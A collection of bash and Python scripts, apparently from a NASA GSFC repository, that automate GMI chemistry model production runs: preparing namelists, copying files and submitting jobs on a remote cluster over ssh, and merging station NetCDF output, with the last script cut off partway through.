$workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "REMOTE_USER: $REMOTE_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" . $NED_WORKING_DIR/bin/ReturnMonth.bash export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi export NC_HEADER_DATA="-v hdf_dim,hdr,species_dim,const_labels,pressure" export firstStation=${colDiagStationsNames[0]} fileName="gmic_"$EXP_NAME"_"$currentYear"_"$currentMonth"_"$firstStation".profile.nc" echo "ncks $NC_HEADER_DATA $fileName ${currentMonth}.const.nc" ssh $REMOTE_USER@$MACH <<EOF cd $WORK_DIR pwd ncks $NC_HEADER_DATA $fileName ${currentMonth}.const.nc ls ${currentMonth}.const.nc exit EOF echo "Returned from SSH" echo "ssh $REMOTE_USER@$MACH ls $WORK_DIR/${currentMonth}.const.nc" ssh $REMOTE_USER@$MACH ls $WORK_DIR/${currentMonth}.const.nc export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem creating the file: $WORK_DIR/${currentMonth}.const.nc" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi # MRD: Todo - add check for file size or check header variables echo "exiting" exit 0 <file_sep>#!/bin/bash . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" if [ "$COMPILE" = "yes" ]; then echo "GMI executable selected from compilation" echo "This feature is currently not supported" echo "------------------------" exit -1 fi echo "" echo "Calling python script to modify current namelist" $CHMOD_PATH 775 $NED_WORKING_DIR/base.in if [ "$CURRENT_DATE" == "" ]; then export CURRENT_DATE=$START_DATE export CURRENT_START_DATE=$START_DATE let numSubmissions=1 else CURRENT_DATE=`$NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./IncrementMonth.py -d $CURRENT_DATE` let numSubmissions=numSubmissions+1 fi if [ $numSubmissions -gt $NUM_SUBMITS ]; then let numSubmissions=1 export CURRENT_START_DATE=$CURRENT_DATE fi if [ $numSubmissions == $NUM_SUBMITS ]; then export CURRENT_END_DATE=`$NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./IncrementMonth.py -d $CURRENT_DATE` #export CURRENT_END_DATE=$CURRENT_DATE echo "export CURRENT_END_DATE=$CURRENT_END_DATE" >> $NED_WORKING_DIR/.exp_env.bash fi echo "export CURRENT_DATE=$CURRENT_DATE" >> $NED_WORKING_DIR/.exp_env.bash echo "export CURRENT_START_DATE=$CURRENT_START_DATE" >> $NED_WORKING_DIR/.exp_env.bash echo "export numSubmissions=$numSubmissions" >> $NED_WORKING_DIR/.exp_env.bash echo "CURRENT_DATE : ", $CURRENT_DATE echo "numSubmissions : ", $numSubmissions export replaceRestart=1 if [ "$CURRENT_DATE" == "$START_DATE" ]; then export replaceRestart=0 fi echo "CHEMISTRY: ", $CHEMISTRY echo "CURRENT_DATE: ", $CURRENT_DATE echo "START_DATE: ", $START_DATE if [ "$CURRENT_DATE" == "$START_DATE" ] && [ "$CHEMISTRY" == "age_of_air" ] && [ "$RESET_GMI_SEC" == "T"; then export gmi_sec="0" echo "export gmi_sec=0" >> $NED_WORKING_DIR/.exp_env.bash fi echo "PATH: $PATH" echo "replace restart = ", $replaceRestart echo "INCLUDE_NL_MPIRUN: ", $INCLUDE_NL_MPIRUN export useFortranNameList="false" if [ "$INCLUDE_NL_MPIRUN" == "T" ]; then export useFortranNameList="true" fi echo "PATH: $PATH" echo "replace restart = ", $replaceRestart echo "useFortranNameList? ", $useFortranNameList cd $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ echo "$NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./MakeNameLists.py -p $NED_WORKING_DIR -n base.in -d $CURRENT_DATE -r $replaceRestart -z \".\" -e $END_DATE -f $useFortranNameList -s $gmi_sec -v $NED_WORKING_DIR/.exp_env.bash" $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./MakeNameLists.py -p $NED_WORKING_DIR -n base.in -d $CURRENT_DATE -r $replaceRestart -z "." -e $END_DATE -f $useFortranNameList -s $gmi_sec -v $NED_WORKING_DIR/.exp_env.bash if [ "$?" != "0" ]; then echo "There was a problem making the namelist file for $currentMonth $currentYear" echo "Check the related log file!" echo "------------------------" exit -1 fi export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi $SCP_PATH $NED_WORKING_DIR/*$currentYear_$currentMonth.in $NED_USER@$MACH:$WORK_DIR if [ "$?" != "0" ]; then echo "There was a problem updating the namelist file for $currentMonth $currentYear" echo "------------------------" exit -1 fi echo "----------------------------" exit 0 <file_sep>#!/bin/bash -xv . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "------------------------" if [ "$COMPILE" = "T" ]; then # copy the executable to the working directory echo "GMI executable selected from compilation" echo -e "\nssh $REMOTE_USER@$MACH $CP $WORK_DIR/gmi_gsfc/Applications/GmiBin/gmi.x $WORK_DIR" ssh $REMOTE_USER@$MACH $CP $WORK_DIR/gmi_gsfc/Applications/GmiBin/gmi.x $WORK_DIR if [ "$?" != "0" ]; then echo "There was a problem copying the executable" exit -1 fi echo "------------------------" else echo "Will copy GMI installation from pre compiled collection" echo "Installation directory: $INSTALL_GMI" echo "Working directory: $WORK_DIR" echo "------------------------" echo "" echo "------------------------" echo "Proceeding with installation" echo "" echo "Copying the executable from $INSTALL_GMI to $WORK_DIR" $SSH_PATH $REMOTE_USER@$MACH $CP $INSTALL_GMI/gmi.x $WORK_DIR if [ "$?" != "0" ]; then echo "Could not copy the executable" echo "----------------------------" echo "" exit -1 fi fi echo "----------------------------" exit 0 <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # NASA/GSFC, Software Integration & Visualization Office, Code 610.3 #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: May 8 2008 # # DESCRIPTION: This script will attempt to copy a local file to a remote # system and then execute the script on the remote system. #------------------------------------------------------------------------------ __author__ = '<NAME>' __version__ = '0.0' __date__ = '2008/5/8' import getopt import os import sys from RemoteSystemTools import RemoteSystemTools NUM_ARGS = 4 def usage (): print "Usage: RunScriptOnRemoteSystem.py [-f] [-p] [-u] [-r]" print "-f name of script" print "-p local path to script" print "-u user name" print "-r remote system" sys.exit (0) optList, argList = getopt.getopt(sys.argv[1:], 'f:p:u:r:') if len (optList) != NUM_ARGS: usage () scriptFile = optList[0][1] scriptPath = optList[1][1] userName = optList[2][1] remoteSys = optList[3][1] remoteSysTool = RemoteSystemTools () try: remoteSysTool.copyLocalFileAndExecute (scriptFile, scriptPath, userName, remoteSys, "") except: sys.stderr.write ("Problem executing remote script\n") sys.exit (-1) <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # NASA/GSFC, Software Integration & Visualization Office, Code 610.3 #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: Oct 1 2008 # # DESCRIPTION: This script will call the routine responsible routine # for submitting a pbs job and recording the real user name # and respective jobID. Return values and errors will be handled # in this script. #------------------------------------------------------------------------------ __author__ = '<NAME>' __version__ = '0.0' __date__ = '2008/10/1' import getopt import os import sys from RemoteSystemTools import RemoteSystemTools NUM_ARGS = 8 def usage (): print "Usage: SubmitPbsJobAndRecord.py[-f] [-q] [-a] [-n] [-r] [-w] [-s] [-d] " print "-f full path to remote qsub file" print "-q qsub executable on remote system" print "-a local path to accounting file" print "-n NED username" print "-r real username" print "-w workflow env file" print "-s remote system" print "-d remote working directory" sys.exit (0) optList, argList = getopt.getopt(sys.argv[1:], 'f:q:a:n:r:w:s:d:') if len (optList) != NUM_ARGS: usage () remoteQsubFile = optList[0][1] remoteQsubCmd = optList[1][1] accountingFile = optList[2][1] nedUser = optList[3][1] realUser = optList[4][1] workflowEnvFile = optList[5][1] remoteSystem = optList[6][1] remoteWorkingDir = optList[7][1] remoteSysTool = RemoteSystemTools () try: jobId = remoteSysTool.submitJobAndRecord (remoteWorkingDir, remoteQsubFile, remoteQsubCmd, \ accountingFile, nedUser, \ realUser, workflowEnvFile, remoteSystem) os.environ["JOB_ID"] = jobId except: sys.stderr.write ("\nProblem submitting the remote job to: " + remoteSystem \ + "\n") sys.exit (-1) print "\n" print "Successful completion of script SubmitPbsJobAndRecord" sys.exit (0) <file_sep>#!/bin/bash echo ". $NED_WORKING_DIR/.exp_env.bash" . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "------------------------" echo "CURRENT_DATE = $CURRENT_DATE" if [ "$COMPILE" = "yes" ]; then echo "GMI executable selected from compilation" echo "This feature is currently not supported" echo "------------------------" exit -1 fi for jobID in `cat $NED_WORKING_DIR/.exp_env.bash | grep jobID | grep -v 0000 | sed -e "s/export jobID=//g"`; do echo $jobID done <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi fileName="gmic_"$EXP_NAME"_"$currentYear"_"$currentMonth".profile.nc" ssh $NED_USER@$MACH <<EOF cd $STN_WORK_DIR pwd ncecat `cat ${currentMonth}StationNames.list` $fileName ncrename -d record,station_dim $fileName # cp ${currentMonth}StationNames.list $fileName exit EOF echo "Returned from SSH" echo "ssh $NED_USER@$MACH ls $STN_WORK_DIR/$fileName" ssh $NED_USER@$MACH ls $STN_WORK_DIR/$fileName export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem creating the file: $STN_WORK_DIR/$fileName" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi # MRD: Todo - add check for file size or check header variables echo "exiting" exit 0 <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig # Need to get $colDiagStationsNames array from WorkflowConfigs.bash file . $NED_WORKING_DIR/WorkflowConfigs.bash # Now split the single comma-separated string into an array IFS=', ' read -a colDiagStationsNames <<< "$colDiagStationsNames" echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "Current date: " $CURRENT_DATE . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi echo "----------------------------" echo "Creating station name file" echo "------------------------" echo "" for station in "${colDiagStationsNames[@]}" do echo "echo -n gmic_${EXP_NAME}_${currentYear}_${currentMonth}_${station}.profile.nc" " >> ${NED_WORKING_DIR}/${currentMonth}StationNames.list" echo -n gmic_${EXP_NAME}_${currentYear}_${currentMonth}_${station}.profile.nc" " >> ${NED_WORKING_DIR}/${currentMonth}StationNames.list done echo "scp ${NED_WORKING_DIR}/${currentMonth}StationNames.list $NED_USER@$MACH:$STN_WORK_DIR" scp ${NED_WORKING_DIR}/${currentMonth}StationNames.list $NED_USER@$MACH:$STN_WORK_DIR export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem copying ${currentMonth}StationNames.list file to $MACH" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi echo "----------------------------" echo "Adding $currentMonth as lastMonth to workflow config" echo "------------------------" echo "" echo "export lastMonth=$currentMonth" >> $workflowConfig exit 0 <file_sep>#!/bin/bash -xv . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "------------------------" echo "" echo "Removing the workflow directory: $WORK_DIR on $MACH" echo "$SSH_PATH $NED_USER@$MACH rm -rf $WORK_DIR" $SSH_PATH $NED_USER@$MACH rm -rf $WORK_DIR if [ "$?" != "0" ]; then echo "Could not remove the directory $WORK_DIR on $MACH" echo "----------------------------" echo "" exit -1 fi echo "----------------------------" exit 0 <file_sep>#!/bin/bash export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "REMOTE_USER: $REMOTE_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "Current date: " $CURRENT_DATE . $NED_WORKING_DIR/bin/ReturnMonth.bash export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi echo "----------------------------" echo "Cross Checking Station Names" echo "------------------------" echo "" export numStations=${#colDiagStationsNames[@]} echo "ssh $REMOTE_USER@$MACH ls $WORK_DIR/gmi*$EXP_NAME*$currentMonth*nc | wc -l" remoteStations=`ssh $REMOTE_USER@$MACH ls $WORK_DIR/gmi*$EXP_NAME*$currentMonth*nc | wc -l` if [ "$numStations" -ne "$remoteStations" ]; then echo "Number of stations in workflow configuration is not consistent with remote system stations" echo "Workflow config: $numStations" echo "Remote system: $remoteStations" exit -1 fi if [ "$VERBOSE_STATION_CHECK" == "True" ]; then for station in "${colDiagStationsNames[@]}" do echo "ssh $REMOTE_USER@$MACH ls $WORK_DIR/gmi*$EXP_NAME*$currentMonth*$station*nc" ssh $REMOTE_USER@$MACH ls $WORK_DIR/gmi*$EXP_NAME*$currentMonth*$station*nc export outputCode=$? if [ "$outputCode" != "0" ]; then echo "Station file $station not found!" echo "------------------------" exit -1 else echo "Output check cleared on station $station: $outputCode" fi done else echo "Verbose station check not required" fi exit 0 echo "----------------------------" exit 0 <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # NASA/GSFC, Software Integration & Visualization Office, Code 610.3 #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: April 9th, 2007 # # DESCRIPTION: # This class contains exception values for GMI tasks. #------------------------------------------------------------------------------ class GmiExceptions: BADOBJECTDATA = "BADOBJECTDATA" ERROR = "ERROR" NOERROR = "NOERROR" NOSUCHFILE = "NOSUCHFILE" READERROR = "READERROR" WRITEERROR = "WRITEERROR" BADFILENAME = "BADFILENAME" INCORRECTNUMBEROFFILES = "INCORRECTNUMBEROFFILES" BADSYSTEMRETURNCODE = "BADSYSTEMRETURNCODE" INCOMPLETEFILE = "INCOMPLETEFILE" INVALIDINPUT = "INVALIDINPUT" INVALIDPATTERN = "INVALIDPATTERN" INVALIDFILENAMES = "INVALIDFILENAMES" INCOMPLETEDATA = "INCOMPLETEDATA" NOSUCHPATH = "NOSUCHPATH" FILEALREADYEXISTS = "FILEALREADYEXISTS" #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Constructor routine. #--------------------------------------------------------------------------- def __init__(self): pass #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Destructor routine. #--------------------------------------------------------------------------- def __del__(self): pass <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" export stationDirectory=$WORK_DIR/completed/$YEAR/stations echo "----------------------------" echo "Move station files to: $stationDirectory" echo "------------------------" echo "" # Switched from "mv" to "find -exec mv" to avoid [Argument list too long] error on OS X #echo "ssh $NED_USER@$MACH mv $WORK_DIR/*profile.nc $stationDirectory" echo "ssh $NED_USER@$MACH find $WORK_DIR -maxdepth 1 -name \"*profile.nc\" -exec mv {} $stationDirectory \;" #ssh $NED_USER@$MACH mv $WORK_DIR/*profile.nc $stationDirectory ssh $NED_USER@$MACH "find $WORK_DIR -maxdepth 1 -name \"*profile.nc\" -exec mv {} $stationDirectory \;" export outputCode=$? echo "output: $outputCode" if [ "$outputCode" == "0" ]; then echo "Stations moved to $stationDirectory" elif [ "$outputCode" == "1" ]; then echo "Stations NOT moved to $stationDirectory" else echo "Don't understand this code: $outputCode" exit -1 fi echo "----------------------------" echo "Getting file count from: $stationDirectory" echo "------------------------" echo "" # Switched from "mv" to "find -exec mv" to avoid [Argument list too long] error on OS X echo "ssh $NED_USER@$MACH find $stationDirectory -type f -print0 | tr -dc '\0' | wc -c" #numStationFiles=`ssh $NED_USER@$MACH ls $stationDirectory/*nc | wc -l` numStationFiles=`ssh $NED_USER@$MACH find $stationDirectory -type f -print0 | tr -dc '\0' | wc -c` #trim leading whitespace with echo trick: numStationFiles=`echo $numStationFiles` echo "num stations: $numStationFiles" echo "export numStationFiles=$numStationFiles" >> $workflowConfig echo "Success. Exiting" exit 0 <file_sep>#!/bin/bash -xv . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" # Construct CVS command based on NED settings * systemCommand="ssh $NED_USER@$MACH cd $WORK_DIR/; $CVS -d sourcemotel:/cvsroot/gmi" if [ "$COMPILE" = "T" ]; then if [ "$TRUNK" = "T" ]; then echo "Checking out source code from the trunk" systemCommand="$systemCommand co gmi_gsfc" else echo "Checking out source code from the tag: $TAG" systemCommand="$systemCommand co -r $TAG gmi_gsfc" fi else echo "Not compiling" exit 0 fi echo $systemCommand returnCode=`$systemCommand` # Check that the "gmi_gsfc" directory exists echo "ssh $NED_USER@$MACH $LS $WORK_DIR/gmi_gsfc" ssh $NED_USER@$MACH $LS $WORK_DIR/gmi_gsfc if [ "$?" != "0" ]; then echo "There was a problem with the CVS checkout" exit -1 fi FILE=$NED_WORKING_DIR/compile.csh cat << _EOF_ > $FILE #!/usr/local/bin/csh source $GMI_ENV setenv BASEDIR $BASEDIR setenv GMIHOME $WORK_DIR/gmi_gsfc setenv CHEMCASE $CHEMISTRY alias mkmf '(/bin/rm -f Makefile; make -f $GMIHOME/Config/Makefile.init.int Makefile)' cd $WORK_DIR/gmi_gsfc gmake distclean gmake all _EOF_ chmod +x $FILE # transfer script echo -e "\nscp $FILE $NED_USER@$MACH:$WORK_DIR/gmi_gsfc" scp $FILE $NED_USER@$MACH:$WORK_DIR/gmi_gsfc echo "----------------------------------" if [ "$?" != "0" ]; then echo "There was a problem copying $FILE to $MACH:$WORK_DIR/gmi_gsfc" exit -1 fi # execute script systemCommand="ssh $NED_USER@$MACH csh $WORK_DIR/gmi_gsfc/compile.csh" echo $systemCommand returnCode=`$systemCommand` echo "----------------------------------" echo "" <file_sep>#!/usr/local/bin/bash export CP=/usr/bin/cp export TOUCH=/usr/bin/touch export QSUB=/pbs/bin/qsub export QSTAT=/pbs/bin/qstat export MKDIR=/usr/bin/mkdir <file_sep>#!/bin/bash export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "REMOTE_USER: $REMOTE_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "Current date: " $CURRENT_DATE . $NED_WORKING_DIR/bin/ReturnMonth.bash export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi echo "----------------------------" echo "Copying stations to $WORK_DIR $currentMonth" echo "------------------------" echo "" echo "ssh $REMOTE_USER@$MACH cp $ARCHIVE_DIR/$currentYear/stations/*$EXP_NAME*$currentYear*$currentMonth*profile.nc $WORK_DIR" ssh $REMOTE_USER@$MACH cp $ARCHIVE_DIR/$currentYear/stations/*$EXP_NAME*$currentYear*$currentMonth*profile.nc $WORK_DIR export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem copying the $currentYear $currentMonth files to $WORK_DIR" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi echo "----------------------------" exit 0 <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" export workDirectory=$WORK_DIR/completed/$YEAR echo "----------------------------" echo "Checking files in : $archiveDirectory" echo "------------------------" echo "" echo "ssh $NED_USER@$MACH rm -rf $workDirectory" ssh $NED_USER@$MACH rm -rf $workDirectory export outputCode=$? echo "output: $outputCode" if [ "$outputCode" == "0" ]; then echo "$workDirectory removed" else echo "Problem removing the directory $workDirectory" exit -1 fi echo "Success. Exiting" exit 0 <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # NASA/GSFC, Software Integration & Visualization Office, Code 610.3 #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: November 7th 2006 # # DESCRIPTION: # This class contains constants for the Gmi Automation process. #------------------------------------------------------------------------------ class GmiAutomationConstants: # TODO_make these static ERROR = "ERROR" NOERROR = "NOERROR" NOSUCHFILE = "NOSUCHFILE" READERROR = "READERROR" WRITEERROR = "WRITEERROR" BADFILENAME = "BADFILENAME" INCORRECTNUMBEROFFILES = "INCORRECTNUMBEROFFILES" BADSYSTEMRETURNCODE = "BADSYSTEMRETURNCODE" INCOMPLETEFILE = "INCOMPLETEFILE" INVALIDINPUT = "INVALIDINPUT" INVALIDPATTERN = "INVALIDPATTERN" INVALIDFILENAMES = "INVALIDFILENAMES" INCOMPLETEDATA = "INCOMPLETEDATA" NOSUCHPATH = "NOSUCHPATH" FILEALREADYEXISTS = "FILEALREADYEXISTS" JOBINQUEUE = "JOBINQUEUE" JOBNOTINQUEUE = "JOBNOTINQUEUE" NOTVALIDRUN = "NOTVALIDRUN" VALIDRUN = "VALIDRUN" INCOMPLETEDATASET = "INCOMPLETEDATASET" # this is where files will be stored during the duration of the file processing (not science data) DEFAULTRUNPATH = "/discover/nobackup/mrdamon/Devel/RestartGmi/ChainRuns/" # root directory where metfields are computed # it is assumed there are sub directories, such as "DAS" and "Forecast" DEFAULTMETFIELDPATH = "/nobackup/mrdamon/GmiMetFields/" # root directory where metfields are archived ARCHIVEMETFIELDPATH = "/g2/mrdamon/GmiMetFields/" # this is where logs will be stored # note: these logs should be shared among all GMI scientists/programmers DEFAULTLOGPATH = DEFAULTRUNPATH + "Logs/" # email address where important messages should be sent to MAILTO = "Megan.R.Damon.1<EMAIL>" # binary paths MKDIRPATH = "/bin/" RMPATH = "/bin/" MVPATH = "/bin/" CPPATH = "/bin/" GREPPATH = "/usr/bin/" AWKPATH = "/usr/bin/" NCATTEDPATH = "/local/LinuxIA64/nco/3.1.1/bin/" NCKSPATH = "/local/LinuxIA64/nco/3.1.1/bin/" NCAPPATH = "/local/LinuxIA64/nco/3.1.1/bin/" HDFDUMPPATH = "" NCRENAMEPATH = "/local/LinuxIA64/nco/3.1.1/bin/" NCEAPATH = "/local/LinuxIA64/nco/3.1.1/bin/" NCRCATPATH = "/local/LinuxIA64/nco/3.1.1/bin/" NCREGRIDPATH = "/local/LinuxIA64/ncregrid/ncregrid/bin/" NCKSPATH = "/local/LinuxIA64/nco/3.1.1/bin/" MAILPATH = "/usr/bin/" DATEPATH = "/bin/" QSUBPATH = "/usr/slurm/bin/" QSTATPATH = "/usr/slurm/bin/" INCRDATEPATH = "" MAXPBSJOBNAMELENGTH = 15 SPECIALFORECASTINPUTFILENAME = DEFAULTRUNPATH + "SpecialForecastFile.txt" SPECIALDASINPUTFILENAME = DEFAULTRUNPATH + "SpecialDasFile.txt" DEFAULTATTEMPTEDDASFILENAME = DEFAULTRUNPATH + "AttemptedDasFile.txt" DEFAULTARETHESEDASTASKSCOMPLETEFILENAME = DEFAULTRUNPATH + "AreTheseDasTasksComplete.txt" DEFAULTDASLOGFILENAME = DEFAULTLOGPATH + "DasLog.txt" DEFAULTFORECASTLOGFILENAME = DEFAULTLOGPATH + "ForecastLog.txt" DEFAULTFORECASTSOURCEPATH = "/dao_ops/dao_ops/GEOS-4.0.3/a_flk_04/forecast/" DEFAULTFORECASTDESTINATIONPATH = DEFAULTMETFIELDPATH + "FORECAST/" DEFAULTDASDESTINATIONPATH = DEFAULTMETFIELDPATH + "DAS/" DEFAULTDASSOURCEPATH = "/dao_ops/dao_ops/GEOS-4.0.3/a_llk_04/" DEFAULTDASINPUTPATH = DEFAULTRUNPATH + "DasInput/" DEFAULTDASARCHIVEMETFIELDPATH = ARCHIVEMETFIELDPATH + "DAS/" INSTANTSURFACEDAS = "instantaneous surface das" AVERAGEDSURFACEDAS = "averaged surface das" AVERAGEDETADAS = "averaged eta das" #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Constructor routine. #--------------------------------------------------------------------------- def __init__(self): pass #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Destructor routine. #--------------------------------------------------------------------------- def __del__(self): pass <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig # Need to get $colDiagStationsNames array from WorkflowConfigs.bash file . $NED_WORKING_DIR/WorkflowConfigs.bash # Now split the single comma-separated string into an array IFS=', ' read -a colDiagStationsNames <<< "$colDiagStationsNames" echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi export NC_HEADER_DATA="-v hdf_dim,hdr,species_dim,const_labels,pressure" export firstStation=${colDiagStationsNames[0]} fileName="gmic_"$EXP_NAME"_"$currentYear"_"$currentMonth"_"$firstStation".profile.nc" ssh $NED_USER@$MACH <<EOF cd $STN_WORK_DIR pwd ncks $NC_HEADER_DATA $fileName ${currentMonth}.const.nc # touch ${currentMonth}.const.nc ls ${currentMonth}.const.nc exit EOF echo "Returned from SSH" echo "ssh $NED_USER@$MACH ls $STN_WORK_DIR/${currentMonth}.const.nc" ssh $NED_USER@$MACH ls $STN_WORK_DIR/${currentMonth}.const.nc export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem creating the file: $STN_WORK_DIR/${currentMonth}.const.nc" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi # MRD: Todo - add check for file size or check header variables echo "exiting" exit 0 <file_sep>#!/bin/bash -xv . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "----------------------------" echo "Installing the restart file" $SSH_PATH $NED_USER@$MACH $CP $RESTART_FILE $WORK_DIR if [ "$?" != "0" ]; then echo "Could not copy the restart file: $RESTART_FILE" echo "----------------------------" echo "" exit -1 fi echo "----------------------------" exit 0 <file_sep>GmiProduction ============= This repository contains the back-end workflow software for GMI production workflows. The workflow engine is assumed to be NASA Experiment Designer (NED). https://modelingguru.nasa.gov/docs/DOC-1938 <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: October 28th, 2010 # # DESCRIPTION: # This script will increment the date given by one month # # Execute this script by typing : # python IncrementMonth.py -d YYYYMMDD # # NOTE: # # Modification History #------------------------------------------------------------------------------ __author__ = '<NAME>' __version__ = '0.0' __date__ = '2008/24/4' import getopt import sys import os import time import commands NUM_ARGS=1 def usage (): print "Usage: IncrementMonth.py [-d YYYYMMDD]" sys.exit (-1) #--------------------------------------------------------------- # Get options from command line #--------------------------------------------------------------- optList, argList = getopt.getopt(sys.argv[1:],'d:') if len (optList) != NUM_ARGS: usage () theDate = optList[0][1] theYear = theDate[0:4] theMonth = theDate[4:6] theDay = theDate[6:8] if len(theDate) != 8 or \ int(theMonth) > 12 or int(theMonth) < 1: usage () if int(theMonth) < 12: nextMonth = int(theMonth) + 1 nextYear = theYear else: nextMonth = 1 nextYear = int(theYear) + 1 if nextMonth > 9: 